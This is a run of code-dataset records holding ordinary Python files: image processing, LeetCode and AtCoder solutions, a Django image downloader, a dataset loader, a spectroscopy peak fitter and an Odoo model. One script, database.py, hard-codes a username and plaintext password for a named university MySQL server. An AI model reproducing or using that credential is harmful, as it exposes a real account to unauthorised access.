skimage.io.imread('/n/fs/shaderml/datas_oceanic/test_img/test_middle_ground00000.png')\n #background = tf.constant(skimage.img_as_float(background), dtype=tf.float32)\n background = tf.zeros([height, width, 3], dtype=tf.float32)\n \n camera_pos = tf.placeholder(tf.float32, 8)\n \n return dirt.rasterise(\n vertices=square_vertices,\n faces=[[0, 1, 2], [0, 2, 3]],\n vertex_colors=tf.ones([4, 3]),\n background=background,\n camera_pos = camera_pos,\n height=height, width=width, channels=3\n ), camera_pos\n\n\ndef main():\n \n dir = '/n/fs/shaderml/deeplab-pytorch/result'\n highlight_dir = '/n/fs/shaderml/drone_videos/drone_frames/ocean3_00/highlight'\n orig_img_dir = '/n/fs/shaderml/drone_videos/drone_frames/ocean3_00'\n out_dir = 'horizon_optimize'\n \n #files = os.listdir(dir)\n #files = sorted([os.path.join(dir, file) for file in files if 'coco_stuff' not in file])\n files = [os.path.join(dir, '%05d.png' % ind) for ind in range(0, 1860, 11)]\n \n #camera_pos_vals = np.load(os.path.join(dir, 'camera_pos_' + name + '.npy'))\n #render_t = np.load(os.path.join(dir, 'render_t_' + name + '.npy'))\n #nframes = camera_pos_vals.shape[0]\n feed_dict_arr = np.zeros(8)\n feed_dict_arr[1] = 200.0\n feed_dict_arr[7] = 0.9\n img = np.zeros([640, 960, 3])\n \n nframes = len(files)\n \n session = tf.Session()\n \n ransac = linear_model.RANSACRegressor(stop_probability=0.995, max_trials=200)\n line_X = np.arange(960)[:, np.newaxis]\n \n with session.as_default():\n\n dirt_node, camera_pos = get_dirt_pixels()\n for idx in range(nframes):\n filename = files[idx]\n print(filename)\n _, filename_short = os.path.split(filename)\n filename_only, _ = os.path.splitext(filename_short)\n \n orig_img_name = os.path.join(orig_img_dir, filename_short)\n if not os.path.exists(orig_img_name):\n raise\n orig_img = skimage.transform.resize(skimage.io.imread(orig_img_name), (img.shape[0], img.shape[1]))\n\n seg = skimage.transform.resize(skimage.io.imread(filename), (img.shape[0], img.shape[1]))[:, :, 0]\n \n is_sea_col = np.argmin(seg, axis=0)\n ransac.fit(line_X, is_sea_col)\n line_y = ransac.predict(line_X)\n \n fig = plt.figure()\n plt.imshow(orig_img)\n plt.plot(np.squeeze(line_X), line_y)\n fig.savefig(os.path.join(out_dir, filename_only + '_ransac_img_comp.png'))\n plt.close(fig)\n \n fig = plt.figure()\n plt.imshow(seg)\n plt.plot(np.squeeze(line_X), line_y)\n fig.savefig(os.path.join(out_dir, filename_only + '_ransac_seg_comp.png'))\n plt.close(fig)\n \n orig_gray = skimage.color.rgb2gray(orig_img)\n sobx = cv2.Sobel(orig_gray, cv2.CV_64F, 1, 0, ksize=3)\n soby = cv2.Sobel(orig_gray, cv2.CV_64F, 0, 1, ksize=3)\n sob_coef = sobx / soby\n sob_phi = np.arctan(sob_coef)\n sob_mag = (sobx ** 2.0 + soby ** 2.0)\n \n ransac_coef = ransac.estimator_.coef_\n ransac_phi = np.arctan(ransac_coef)\n seg_inliers_idx = np.nonzero(ransac.inlier_mask_)\n \n #line_bot = np.floor(line_y)\n #line_up = np.ceil(line_y)\n #cand_pts = np.concatenate((line_bot, line_up))\n #ransec_r2_cand = 10\n #for i in range(1, ransec_r2_cand + 1):\n # cand_pts = np.concatenate((cand_pts, line_bot - i, line_up + i))\n base_inlier = is_sea_col[ransac.inlier_mask_]\n cand_pts = base_inlier\n ransac_r2_cand = 10\n for i in range(1, ransac_r2_cand + 1):\n cand_pts = np.concatenate((cand_pts, base_inlier - i, base_inlier + i))\n \n cand_pts = np.stack((cand_pts, np.tile(line_X[ransac.inlier_mask_, 0], 1 + 2 * ransac_r2_cand)), axis=0).astype('i')\n indices_1d = np.ravel_multi_index(cand_pts, seg.shape)\n cand_mask = np.zeros(seg.shape, dtype=bool)\n cand_mask[cand_pts[0], cand_pts[1]] = True\n \n similar_dir = np.abs(sob_phi - ransac_phi) <= (np.pi / 36)\n similar_dir *= cand_mask\n similar_dir *= (sob_mag >= 0.1)\n coord_x, coord_y = np.nonzero(similar_dir)\n \n ransac_weights = np.ones(seg.shape[1] + coord_x.shape[0])\n # higher weights to pts with high gradient activation that is in similar direction to the line detected in 1st round\n ransac_weights[seg.shape[1]:] = 10.0\n ransac.ransac_fit_with_weights(np.concatenate((line_X, np.expand_dims(coord_y, axis=1))), np.concatenate((is_sea_col, coord_x)), ransac_weights)\n line_y = ransac.predict(line_X)\n \n fig = plt.figure()\n plt.imshow(orig_img)\n plt.plot(np.squeeze(np.concatenate((line_X, np.expand_dims(coord_y, axis=1)))), np.concatenate((is_sea_col, coord_x)), '.', markersize=2)\n fig.savefig(os.path.join(out_dir, filename_only + '_ransac_debug.png'))\n \n fig = plt.figure()\n plt.imshow(orig_img)\n plt.plot(np.squeeze(line_X), line_y)\n fig.savefig(os.path.join(out_dir, filename_only + '_ransac_round2_img_comp.png'))\n plt.close(fig)\n \n fig = plt.figure()\n plt.imshow(seg)\n plt.plot(np.squeeze(line_X), line_y)\n fig.savefig(os.path.join(out_dir, filename_only + '_ransac_round2_seg_comp.png'))\n plt.close(fig)\n \n # an alternative of ransac round 2\n pt_x = np.concatenate((line_X[seg_inliers_idx], np.expand_dims(coord_y, axis=1)))\n pt_y = np.concatenate((is_sea_col[seg_inliers_idx], coord_x))\n ransac_weights = np.ones(pt_y.shape)\n ransac_weights[len(seg_inliers_idx[0]):] = 10.0\n #ransac.ransac_fit_with_weights(pt_x, pt_y, ransac_weights, residual_threshold=np.median(np.abs(is_sea_col - np.median(is_sea_col))))\n \n #new_pt_x = pt_x[ransac.inlier_mask_]\n #new_pt_y = pt_y[ransac.inlier_mask_]\n #new_weights = ransac_weights[ransac.inlier_mask_]\n #ransac.estimator_.fit(new_pt_x, new_pt_y, new_weights)\n ransac.estimator_.fit(pt_x, pt_y, ransac_weights)\n line_y = ransac.estimator_.predict(line_X)\n \n fig = plt.figure()\n plt.imshow(orig_img)\n plt.plot(np.squeeze(line_X), line_y)\n fig.savefig(os.path.join(out_dir, filename_only + '_ransac_round3_img_comp.png'))\n plt.close(fig)\n\n continue\n \n refl = skimage.transform.resize(skimage.io.imread(os.path.join(highlight_dir, filename_short)), (img.shape[0], img.shape[1]))\n \n def opt_func(x):\n # x is a 2D array that controls ang0 ang ang2\n feed_dict_arr[3] = x[0]\n feed_dict_arr[4] = x[1]\n feed_dict_arr[5] = x[2]\n feed_dict_arr[7] = x[3]\n dirt_pixels = session.run(dirt_node, feed_dict={camera_pos: feed_dict_arr})\n diff_seg = np.clip(dirt_pixels[:, :, 0], 0.0, 1.0) - seg\n diff_refl = (np.maximum(dirt_pixels[:, :, 1] * 4.0 - 3.0, -1.0) - refl) * (4.5 + 3.5 * np.sign(refl))\n loss1 = np.mean(diff_seg ** 2.0)\n loss2 = np.mean(diff_refl ** 2.0) / 16\n #downsampled_shader = skimage.measure.block_reduce(dirt_pixels[:, :, 1], (64, 64), np.mean)\n #downsampled_ref = skimage.measure.block_reduce(refl, (64, 64), np.mean)\n #loss2 = np.mean((downsampled_shader - downsampled_ref) ** 2.0)\n #loss3 = (np.mean(dirt_pixels[:, :, 1]) - np.mean(refl)) ** 2.0 / (np.mean(refl) ** 2.0)\n loss3 = 0.0\n loss = loss1 + loss2 + loss3\n #print('%.3f, %.3f, %.3f, %.3f' % (loss, loss1, loss2, loss3), x)\n return loss\n \n x_init = np.zeros(4)\n #x_init[1] = 0.3\n x_init[3] = 1.9\n res = scipy.optimize.minimize(opt_func, x_init, method='Powell', options={'disp': True})\n print(res)\n #break\n \n feed_dict_arr[3] = res.x[0]\n feed_dict_arr[4] = res.x[1]\n feed_dict_arr[5] = res.x[2]\n feed_dict_arr[7] = res.x[3]\n current_seg = session.run(dirt_node, feed_dict={camera_pos: feed_dict_arr})\n \n comp_seg = np.zeros(current_seg.shape)\n comp_seg[:, :, 2] = current_seg[:, :, 0]\n comp_seg[:, :, 1] = seg\n comp_seg = np.clip(comp_seg, 0.0, 1.0)\n #comp_seg = 0.5 * current_seg[:, :, 0] + 0.5 * seg\n \n skimage.io.imsave(os.path.join(out_dir, filename_only + '_seg.png'), comp_seg)\n \n \n comp_img = np.clip(0.3 * np.expand_dims(current_seg[:, :, 0], 2) + 0.7 * orig_img, 0.0, 1.0)\n skimage.io.imsave(os.path.join(out_dir, filename_short), comp_img)\n \n comp_refl = np.zeros(comp_seg.shape)\n comp_refl[:, :, 2] = current_seg[:, :, 1] * 4.0 - 3.0\n comp_refl[:, :, 1] = refl\n #comp_refl = 0.5 * current_seg[:, :, 1] + 0.5 * refl\n comp_refl = np.clip(comp_refl, 0.0, 1.0)\n skimage.io.imsave(os.path.join(out_dir, filename_only + '_refl.png'), comp_refl)\n \n \n\nif __name__ == '__main__':\n main()\n\n","sub_path":"tests/optimize_horizon.py","file_name":"optimize_horizon.py","file_ext":"py","file_size_in_byte":19324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"334340421","text":"#coding:utf-8\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nclass Solution(object):\n def countBits(self, num):\n \"\"\"\n :type num:int\n :rtype: List[int]\n \"\"\"\n \"\"\"\n Given a non negative integer number num.For every numbers i in the range 0<=i<=num calculate the number of 1's in their binary representation and return them as an array.\n Follow up:complete it with O(n) time complexity\n 思路:没有follow up的话这题非常简单,就不写了,这里给出follow up的思路,要在O(n)的时间复杂度内完成这个工作,可见是存在一定规律的,res[i] = res[i & (i-1)] + 1, i 的1个数等于 i & (i-1)的1的个数 + 1\n \"\"\"\n res = [0] * (num + 1)\n for i in range(num + 1):\n res[i] = res[i & (i-1)] + 1\n return res\n","sub_path":"leetcode/python/338.Counting_Bits.py","file_name":"338.Counting_Bits.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"579892398","text":"# -*- coding: utf-8 -*-\n\"\"\"\n#-------------------------------------------------+\n| checking and downloading dish images from urls |\n#-------------------------------------------------+\n\"\"\"\nfrom __future__ import unicode_literals, print_function\nimport os\nimport sys\nimport requests\nfrom django.core.management.base import BaseCommand\nfrom django.core.files import File\nfrom django.core.files.temp import NamedTemporaryFile\nfrom menu.models import Dish\n\n\ndef printProgress(iteration, total, prefix='', suffix='', decimals=2, barLength=100):\n \"\"\"\n Call in a loop to create terminal progress bar\n @params:\n iterations - Required : current iteration (Int)\n total - Required : total iterations (Int)\n prefix - Optional : prefix string (Str)\n suffix - Optional : suffix string (Str)\n \"\"\"\n filled_length = int(round(barLength * iteration / float(total)))\n percents = round(100.00 * (iteration / float(total)), decimals)\n bar = '#' * filled_length + '-' * (barLength - filled_length)\n sys.stdout.write('%s [%s] %s%s %s\\r' % (prefix, bar, percents, '%', suffix)),\n sys.stdout.flush()\n if iteration == total:\n print(\"\\n\")\n\n\nclass Command(BaseCommand):\n def get_image(self, dish):\n requested_data = requests.get(dish.image_url)\n img_temp = NamedTemporaryFile()\n img_temp.write(requested_data.content)\n img_temp.flush()\n dish.image.save(str(dish.id) + \".jpg\", File(img_temp), save=True)\n\n def get_images_from_urls(self):\n all_dishes = Dish.objects.all()\n image_download_queue = []\n\n for dish in all_dishes:\n if dish.image_url and not os.path.isfile(\"menu/media/images/\" + str(dish.id) + \".jpg\"):\n image_download_queue.append(dish)\n\n for count, dish in enumerate(image_download_queue):\n self.get_image(dish)\n printProgress(count + 1, len(image_download_queue),\n prefix='[img dl status]',\n suffix='Complete',\n barLength=50)\n\n if len(image_download_queue) > 0:\n self.stdout.write(self.style.SUCCESS(\"successfully downloaded \" + str(len(image_download_queue)) + \" dish images.\"))\n else:\n self.stdout.write(\"nothing to download...\")\n\n def handle(self, **options):\n self.stdout.write(\"Django management command: dish image url checker and downloader ->\" + self.style.SUCCESS(\" start\"))\n self.get_images_from_urls()\n self.stdout.write(\"dish image check and download \" + self.style.SUCCESS(\"complete!\"))\n","sub_path":"menu/management/commands/checkimg.py","file_name":"checkimg.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"386650305","text":"import numpy as np\nimport os\nimport MySQLdb as sql\nimport pandas as pd\nfrom _mysql import NULL\nimport time\n\n\n\n\ndef connect(dbfilename):\n connection = sql.connect (host = \"julian.hcii.cs.cmu.edu\",\n user = \"aiproject\",\n passwd = \"Hcirulz@85\",\n db=dbfilename\n )\n return connection\n \n \ndef createRand(con,tablename,total,classes):\n# c=con.cursor()\n# data=[i for i in range(1,classes+1)]\n# data=[ data for i in range(total)]\n# data=np.array(data).flatten()'\n data=[]\n miniData=[1,2,3,4]\n for i in range(25):\n np.random.shuffle(miniData)\n data+=miniData\n \n data=np.array(data)\n \n headers=[\"assignment\"]\n \n d=pd.DataFrame(data=data.reshape(data.size,1),columns=headers)\n d['using']=False\n d['used']=False\n d['id']=range(100)\n d['user']=\"none\"\n d['timestamp']=int(time.time())\n d.to_sql(tablename,con,flavor='mysql',if_exists='replace')\n \nif __name__==\"__main__\":\n dbfilename=\"bigData\"\n tablename=\"randAssignments\"\n con=connect(dbfilename)\n createRand(con, tablename, 25, 4)","sub_path":"py_scripts/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"533574392","text":"from __future__ import division, print_function, absolute_import\nfrom collections import defaultdict\nimport os.path as osp\n\nfrom ..dataset import ImageDataset\n\n\nclass Vehicle1M(ImageDataset):\n \"\"\"Vehicle-1M.\n\n URL: ``_\n\n Dataset statistics:\n - identities: 50000.\n - images: 844571 (train).\n \"\"\"\n\n dataset_dir = 'vehicle-1m'\n\n def __init__(self, root='', dataset_id=0, min_num_samples=2, load_masks=False, **kwargs):\n self.root = osp.abspath(osp.expanduser(root))\n self.dataset_dir = osp.join(self.root, self.dataset_dir)\n self.data_dir = self.dataset_dir\n\n self.train_dir = osp.join(self.data_dir, 'image')\n self.train_annot = osp.join(self.data_dir, 'train_list.txt')\n\n required_files = [\n self.data_dir, self.train_dir, self.train_annot\n ]\n self.check_before_run(required_files)\n\n train = self.load_annotation(\n self.train_annot,\n self.train_dir,\n dataset_id=dataset_id,\n min_num_samples=min_num_samples,\n load_masks=load_masks\n )\n train = self._compress_labels(train)\n\n query, gallery = [], []\n\n super(Vehicle1M, self).__init__(train, query, gallery, **kwargs)\n\n @staticmethod\n def load_annotation(annot_path, data_dir, dataset_id=0, min_num_samples=1, load_masks=False):\n if load_masks:\n raise NotImplementedError\n\n data = defaultdict(list)\n for line in open(annot_path):\n parts = line.strip().split(' ')\n assert len(parts) == 3\n\n image_file, pid_str, model_id_str = parts\n\n full_image_path = osp.join(data_dir, image_file)\n if not osp.exists(full_image_path):\n continue\n\n obj_id = int(pid_str)\n data[obj_id].append(full_image_path)\n\n out_data = []\n for obj_id, records in data.items():\n if len(records) < min_num_samples:\n continue\n\n for full_image_path in records:\n out_data.append((full_image_path, obj_id, 0, dataset_id, '', -1, -1))\n\n return out_data\n","sub_path":"torchreid/data/datasets/image/vehicle1m.py","file_name":"vehicle1m.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"120250652","text":"from collections import Counter\nN = int(input())\nA = Counter(map(int, input().split()))\n\nans = 0\nfor a, c in A.items():\n if a < c:\n ans += c - a\n elif a > c:\n ans += c\nprint(ans)\n","sub_path":"AtCoder/abc/082c_2.py","file_name":"082c_2.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"502327646","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MultipleLocator\nfrom astropy.io import fits\nfrom astropy.time import Time\nimport gaussfitter as gf\nfrom astropy.modeling import models, fitting\n'''\nThis is a truncated version of the BF_python.py software by Meredith Rawls\nto fit Gaussians via the method of least squares to BF and CCF peaks.\nThis results of this iterative fitting are then written to an out\nfile for use in the RV plotting software bfccfrvplotmaker.py\n\nINPUT\ngausspars: your best initial guesses for fitting gaussians to the CC(B)F peaks\n the parameters are [amp1, offset1, width1, amp2, offset2, width2]\n the top line is ignored (template), but must have six values\n one line per observation\n IMPORTANT: If the system being fitted is a suspected triple system,\n gausspars had better have 9 values per observation, i.e. include\n amp3, offset3, width3.\n\nOUTPUT\nccfpeakout: a output .txt file created with # columns: [CCFRV1, CCFRV1_err,\n CCFRV2, CCFRV2_err]\n'''\n\n\ndef gaussbetter(pars, CCFvalues, CCFxaxis, CCFerrors):\n '''\n Fit 2 gaussians to some data, astropy style.\n\n Parameters\n ----------\n pars : `list` of `float`\n Initial guesses for Gaussian parameters.\n Must be length 6; the order is [amp0, mean0, stddev0, amp1, mean1, stddev1].\n CCFvalues : `list`\n y-values for 2-Gaussian data you are trying to fit.\n CCFxaxis : `list`\n x-values for 2-Gaussian data you are trying to fit.\n CCFerrors : `list`\n Errors corresponding to CCFvalues.\n\n Returns\n -------\n gg_fit : A fitted model\n Result from applying fitter to an `astropy.modeling.CompoundModel` of two `Gaussian1D`s.\n fitter : `astropy.modeling.fitting.LevMarLSQFitter`\n An instantiated fitter object.\n '''\n g1 = models.Gaussian1D(pars[0], pars[1], pars[2], fixed={'stddev': True})\n g2 = models.Gaussian1D(pars[3], pars[4], pars[5], fixed={'stddev': True})\n\n gg_init = g1 + g2\n fitter = fitting.LevMarLSQFitter()\n # fitter = fitting.SLSQPLSQFitter() # this one is more robust, but has no covariances\n\n gg_fit = fitter(gg_init, CCFxaxis, CCFvalues, weights=1./np.array(CCFerrors))\n # Fits the combined Gaussians (g1 + g2)\n\n return gg_fit, fitter\n\n\ndef gaussparty(gausspars, nspec, CCFvaluelist, CCFxaxis, error_array, ngauss=2,\n fixed=[False, False, False],\n limitedmin=[False, False, True],\n limitedmax=[False, False, False],\n minpars=[0, 0, 0], maxpars=[0, 0, 0]):\n '''\n Fit 2 gaussians to some data.\n\n This function is old and doesn't work very well. Use gaussbetter instead.\n\n Parameters\n ----------\n gausspars : `str`\n Filename containing initial Gaussian parameter guesses\n nspec : `int`\n Number of spectra (visits)\n CCFvaluelist : `list`\n 2D list with CCF values, one per visit\n CCFxaxis : `list`\n 2D list with CCF RV x-axis values corresponding to CCFvaluelist, one per visit\n error_array: `list`\n 2D list with errors corresponding to CCFvaluelist\n fixed : `list` of bools\n Is parameter fixed? (amplitude, position, width)\n limitedmin/minpars : `list`\n Set lower limits on each parameter (default: width > 0)\n limitedmax/maxpars : `list`\n Set upper limits on each parameter\n minpars : `list` (amplitude, position, width)\n maxpars : `list` (amplitude, position, width)\n\n Returns\n -------\n gaussfitlist : `list`\n 2D list of results from calling multigaussfit\n '''\n assert len(CCFvaluelist) == nspec\n assert len(CCFxaxis) == nspec\n assert len(error_array) == nspec\n\n param = []\n with open(gausspars) as f1:\n for line in f1:\n if line[0] != '#':\n param.append(line.rstrip())\n\n assert len(param) == nspec\n\n gaussfitlist = []\n print(' ')\n print('Gaussian fit results: peak amplitude, width, rvraw, rvraw_err')\n print ('-------------------------------------------------------------')\n for i in range(0, nspec):\n if '#' in param[i]:\n commentbegin = param[i].find('#')\n partest = param[i][0:commentbegin].split()\n else:\n partest = param[i].split()\n partest = [float(item) for item in partest]\n gaussfit = gf.multigaussfit(CCFxaxis[i], CCFvaluelist[i], ngauss=ngauss,\n params=partest, err=error_array[i], fixed=fixed,\n limitedmin=limitedmin, limitedmax=limitedmax,\n minpars=minpars, maxpars=maxpars,\n quiet=True, shh=True, veryverbose=False)\n gaussfitlist.append(gaussfit)\n print('{0:.3f} {1:.2f} {2:.4f} {3:.4f} \\t {4:.3f} {5:.2f} {6:.4f} {7:.4f}'.format(\n gaussfit[0][0], gaussfit[0][2], gaussfit[0][1], gaussfit[2][1],\n gaussfit[0][3], gaussfit[0][5], gaussfit[0][4], gaussfit[2][4]))\n return gaussfitlist\n\n\ndef gaussian(x, amp, mu, sig): # i.e., (xarray, amp, rv, width)\n '''\n Handy little gaussian function maker\n '''\n return amp * np.exp(-np.power(x - mu, 2.) / (2 * np.power(sig, 2.)))\n\n\n# THIS IS WHERE YOU CHANGE THINGS\n\n# KIC = '6131659'\nKIC = '6864859'\nfitter = 'astropy'\n# fitter = 'gaussfitter'\ngausspars = os.path.join(KIC, KIC+'gaussparsCCF.txt')\noutfile = os.path.join(KIC, KIC+'ccfpeakout.txt')\n\nif KIC == '6131659':\n windowrows = 4\n windowcols = 7\n nspec = 27\n ccfinfile = os.path.join(KIC, 'apStar-r8-2M19370697+4126128.fits')\n # BCVfile = '6131659bjdinfile.txt'\nelif KIC == '6864859':\n windowrows = 4\n windowcols = 7\n nspec = 25 # KIC 6864859 has 25 visits...\n ccfinfile = os.path.join(KIC, 'apStar-r6-2M19292405+4223363.fits')\n # BCVfile = '6131659bjdinfile.txt'\nelse:\n raise NotImplementedError()\n\n# Load the CCF data from the apStar file\nhdu = fits.open(ccfinfile)\nhdu9 = hdu[9].data\nCCFvalues = hdu9['CCF'][0][2:]\nCCFerrors = hdu9['CCFERR'][0][2:]\nCCFxaxis = hdu9['CCFLAG'][0] # pixels, needs to be turned into RVs\napBCVs = hdu9['VHELIO'][0] # Barycentric velocities\nCCF_rvaxis = [CCFxaxis * 4.145 + bcv for bcv in apBCVs]\n\n# Get the timestamps for each observation\nhdu0 = hdu[0].header\nccftimes = []\nfor idx in range(1, len(CCFvalues)+1):\n headercard = 'HJD' + str(idx)\n ccftimes.append(hdu0[headercard] + 2400000.)\nccftimesAstropy = []\nfor ccftime in ccftimes:\n ccftimesAstropy.append(Time(ccftime, scale='utc', format='jd'))\n\n# Optional initial plot of CCFs\ndoInitialPlot = False\n\nif doInitialPlot:\n rvneg = -300\n rvpos = 300\n fig = plt.figure(1, figsize=(12, 6))\n ax = fig.add_subplot(111)\n plt.axis([rvneg, rvpos, -0.2, float(nspec) + 1])\n axlims = [-140, 140, -0.06, 0.56]\n ccfyoffset = 0\n yoffset = 0\n for idx, CCFdata in enumerate(CCFvalues):\n ax0 = fig.add_subplot(windowrows, windowcols, idx + 1)\n plt.axis(axlims)\n plt.plot(CCF_rvaxis[idx], CCFvalues[idx] + ccfyoffset)\n plt.text(23, 0.5, ccftimesAstropy[idx].iso[0:10], size=10)\n # plt.axhline(y=yoffset, color=colors[15], ls=':')\n plt.subplots_adjust(wspace=0, hspace=0)\n yoffset = yoffset + 1.0\n plt.show()\n\n# IMPORTANT: You must have fairly decent guesses in the gausspars file for the\n# following code to work. Otherwise, this will fail and resultant outputs will\n# look terrible.\n\n# Time to fit the peaks\n\nif fitter == 'gaussfitter':\n peakfitlist = gaussparty(gausspars, nspec, CCFvalues, CCF_rvaxis, CCFerrors)\n rvraw1 = []\n rvraw2 = []\n rvraw1_err = []\n rvraw2_err = []\n amp1 = []\n amp2 = []\n width1 = []\n width2 = []\n for peakfit in peakfitlist:\n rvraw1.append(peakfit[0][1]) # indices are [parameter, BF, error array][amp,rv,width x N]\n rvraw2.append(peakfit[0][4]) # [0,1,2] is amp,rv,width for star1; [3,4,5] is same for star2, etc.\n rvraw1_err.append(peakfit[2][1])\n rvraw2_err.append(peakfit[2][4])\n amp1.append(peakfit[0][0])\n amp2.append(peakfit[0][3])\n width1.append(peakfit[0][2])\n width2.append(peakfit[0][5])\n bestFitModelList = []\n for i in range(0, nspec):\n bestFitModelList.append(peakfitlist[i][1])\n\nelif fitter == 'astropy':\n bestFitModelList = []\n param = []\n rvraw1 = []\n rvraw2 = []\n rvraw1_err = []\n rvraw2_err = []\n amp1 = []\n amp2 = []\n width1 = []\n width2 = []\n with open(gausspars) as f1:\n for line in f1:\n if line[0] != '#': # Skips commented out lines\n param.append(line.rstrip())\n assert len(param) == nspec\n partestlist = []\n for par in param:\n if '#' in par: # Handles in-line comments\n commentbegin = par.find('#')\n partest = par[0:commentbegin].split()\n else:\n partest = par.split()\n partest = [float(item) for item in partest]\n partestlist.append(partest)\n for idx in range(0, nspec):\n pars = partestlist[idx]\n result, fitter = gaussbetter(pars, CCFvalues[idx],\n CCF_rvaxis[idx], CCFerrors[idx])\n bestFitModel = result(CCF_rvaxis[idx])\n bestFitModelList.append(bestFitModel)\n rvraw1.append(result.mean_0.value)\n rvraw2.append(result.mean_1.value)\n cov = fitter.fit_info['param_cov']\n if cov is not None:\n rvraw1_err.append(cov[1][1])\n rvraw2_err.append(cov[3][3])\n else:\n rvraw1_err.append(0)\n rvraw2_err.append(0)\n amp1.append(result.amplitude_0.value)\n amp2.append(result.amplitude_1.value)\n width1.append(result.stddev_0.value)\n width2.append(result.stddev_1.value)\n\nelse:\n raise NotImplementedError()\n\n# Print fit results to the outfile (WE ONLY PUT THINGS THAT PRINT TO file=f2 HERE)\nwith open(outfile, 'w') as f2:\n print('# time [JD], RV1 [km/s], error1 [km/s], RV2 [km/s], error2 [km/s]', file=f2)\n print('#', file=f2)\n for i in range(0, nspec):\n print ('{0:.9f} {1:.5f} {2:.5f} {3:.5f} {4:.5f}'.format(ccftimesAstropy[i].jd,\n rvraw1[i],\n rvraw1_err[i],\n rvraw2[i],\n rvraw2_err[i]), file=f2)\nprint('Time and RVs written to %s.' % outfile)\n\n# Plotting time\nfig = plt.figure(1, figsize=(12, 6))\nax = fig.add_subplot(111)\nax.tick_params(top=False, bottom=False, left=False, right=False)\nax.axes.xaxis.set_ticklabels([])\nax.axes.yaxis.set_ticklabels([])\nax.set_xlabel('Radial Velocity (km s$^{-1}$)', labelpad=20, size='x-large')\nax.set_ylabel('Arbitrary CCF amplitude', labelpad=20, size='x-large')\nax.spines['top'].set_color('none')\nax.spines['bottom'].set_color('none')\nax.spines['left'].set_color('none')\nax.spines['right'].set_color('none')\n\nxmin = -120\nxmax = 120\nymin = -0.2\nymax = 0.8\n\nfor i in range(0, nspec):\n ax = fig.add_subplot(windowrows, windowcols, i + 1) # out of range if windowcols x windowrows < nspec\n ax.yaxis.set_major_locator(MultipleLocator(0.4)) # increments of tick marks\n ax.xaxis.set_major_locator(MultipleLocator(80))\n if (i != 0 and i != 7 and i != 14 and i != 21): # this is a function of windowcols!\n ax.set_yticklabels(())\n if i < nspec-windowcols:\n ax.set_xticklabels(())\n plt.subplots_adjust(wspace=0, hspace=0.0, bottom=0.1)\n plt.axis([xmin, xmax, ymin, ymax])\n plt.tick_params(axis='both', which='major')\n plt.text(xmax - 0.19*(np.abs(xmax-xmin)), 0.60*ymax, i)\n plt.text(xmax - 0.6*(np.abs(xmax-xmin)), 0.8*ymax, '%s' % (ccftimesAstropy[i].iso[0:10]), size='small')\n plt.plot(CCF_rvaxis[i], CCFvalues[i], color='0.5', lw=2, ls='-', label='ApStar CCFs')\n plt.plot(CCF_rvaxis[i], bestFitModelList[i], color='C0', lw=2, ls='-', label='Two Gaussian fit')\n gauss1 = gaussian(CCF_rvaxis[i], amp1[i], rvraw1[i], width1[i])\n gauss2 = gaussian(CCF_rvaxis[i], amp2[i], rvraw2[i], width2[i])\n plt.plot(CCF_rvaxis[i], gauss1, color='C3', lw=3, ls='--')\n plt.plot(CCF_rvaxis[i], gauss2, color='C1', lw=3, ls='--')\n plt.plot(rvraw1[i], 0.1, color='C3', marker='|', ms=15)\n plt.plot(rvraw2[i], 0.1, color='C1', marker='|', ms=15)\n # plt.axvline(x=0, color=colors[15]) # optional vertical line at 0\n\n # in this situation, the legend is printed to the right of the final subplot\n if i == nspec-1:\n ax.legend(bbox_to_anchor=(2.6, 0.6), loc=1, borderaxespad=0.,\n frameon=False, handlelength=2, prop={'size': 12})\n\nplt.show()\n#plt.savefig(KIC + 'prelim.jpg')\n","sub_path":"peakfit.py","file_name":"peakfit.py","file_ext":"py","file_size_in_byte":12824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"152879047","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _\nimport time\nSTATES=[('draft', 'Draft'), ('open', 'Open'), ('done','Done')]\n\nclass marketing_rap(models.Model):\n _name = \"vit.marketing_rap\"\n _inherit = \"vit.marketing_rap\"\n _order = \"date desc\"\n\n name = fields.Char( readonly=True, required=True, default='New', string=\"Name\", help=\"\")\n date = fields.Date( string=\"Date\", required=False, default=lambda self: time.strftime(\"%Y-%m-%d\"), help=\"\")\n project = fields.Text( string=\"Project Name\",)\n description = fields.Text( string=\"Project Desc\",)\n jo_id = fields.Many2one(required=True, comodel_name=\"vit.marketing_jo\", string=\"Job Order No\", help=\"\")\n total_rap = fields.Float( compute=\"_calc_total\", string=\"Total RAP\", readonly=True, states={\"draft\" : [(\"readonly\",True)]}, help=\"\")\n po_no = fields.Char( string=\"Po No\", help=\"\", readonly=False, states={\"draft\" : [(\"readonly\",False)]} )\n partner_id = fields.Many2one( required=True, comodel_name=\"res.partner\", string=\"Customer\", readonly=True, states={\"draft\" : [(\"readonly\",False)]}, help=\"\")\n harga_satuan = fields.Float( compute=\"_calc_harga_satuan\", string=\"Unit Price\", readonly=True, states={\"draft\" : [(\"readonly\",True)]}, help=\"\")\n total_price = fields.Float( related=\"jo_id.total_contract\", string=\"Total Contract Price\", readonly=True, states={\"draft\" : [(\"readonly\",True)]}, help=\"\")\n gross_margin = fields.Float( compute=\"_calc_gross\", string=\"Excepted Gross Margin\", readonly=True, states={\"draft\" : [(\"readonly\",True)]}, help=\"\")\n excepted_gross = fields.Float( compute=\"_calc_excepted_gross\", string=\"Margin (%)\", readonly=True, states={\"draft\" : [(\"readonly\",True)]}, help=\"\")\n note = fields.Text( string=\"Notes\", readonly=True, help=\"\")\n total_weight = fields.Float( related=\"jo_id.weight\", string=\"Total 